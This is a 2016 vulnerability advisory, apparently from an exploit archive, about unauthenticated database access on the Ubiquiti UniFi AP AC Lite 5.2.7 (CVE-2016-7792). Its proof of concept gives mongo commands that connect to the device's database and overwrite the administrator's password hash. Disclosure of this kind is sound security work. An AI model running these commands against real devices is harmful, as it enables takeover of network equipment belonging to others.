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Ubiquiti UniFi AP AC Lite 5.2.7 Improper Access Control

Ubiquiti UniFi AP AC Lite 5.2.7 Improper Access Control
Posted Sep 30, 2016
Authored by Tim Schughart, Khanh Quoc Pham, Immanuel Bar

Ubiquiti UniFi AP AC Lite version 5.2.7 allows for direct modification of the database with no authentication.

tags | exploit
advisories | CVE-2016-7792
MD5 | 3d2a9a4f0f840580c92a6b61dee83a71

Ubiquiti UniFi AP AC Lite 5.2.7 Improper Access Control

Change Mirror Download
Product: UniFi AP AC Lite
Vendor: Ubiquiti Networks Inc.

Internal reference: ? (Bug ID)
Vulnerability type: Incorrect access control
Vulnerable version: Unify 5.2.7 and possible other versions affected (not tested)
Vulnerable component: Database
Report confidence: yes
Solution status: Not fixed by Vendor, the bug is a feature.
Fixed versions: -
Researcher credits: Tim Schughart, Immanuel BA$?r, Khanh Quoc Pham of ProSec Networks
Solution date: -
Public disclosure: 2016-09-30
CVE reference: CVE-2016-7792
CVSSv3: 8.8 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


Vulnerability Details:
You are able to connect to the access points database, because of an broken authentication (OWASP TOP10). So you are able to modify the database and read the data. An possible scenario you'll find in PoC section.

Risk:
An attacker gets access to the database and for e.g. is able to change the admins password, like you see in PoC below.

PoC:
1. Generate SHA512 Hash with e.g.
mkpasswd -m sha-512

2. Connect via network to database, e.g. :
mongo --port 27117 --host target_ip

3. Change password via command
"db.admin.update({"name":"ProSec"}, {$set : {"x_shadow":
"$6$Se9i5I7k3hI8d4bk$CqEXRUwk7c7A/62E/HcC4SrMSLOrBdm7wRvwTS4t.nNJA3RYta0RfzJpuREg.qcAHsPGW9Gjwm3krJROXzbCv."}})"
4. Login via web interface with new password


Best regards / Mit freundlichen GrA1/4Aen


Tim Schughart
CEO / GeschA$?ftsfA1/4hrer

--
ProSec Networks e.K.
Ellingshohl 82
56077 Koblenz

Website: https://www.prosec-networks.com
E-Mail: t.schughart@prosec.networks.com
Mobile: +49 (0)157 7901 5826
Phone: +49 (0)261 450 930 90

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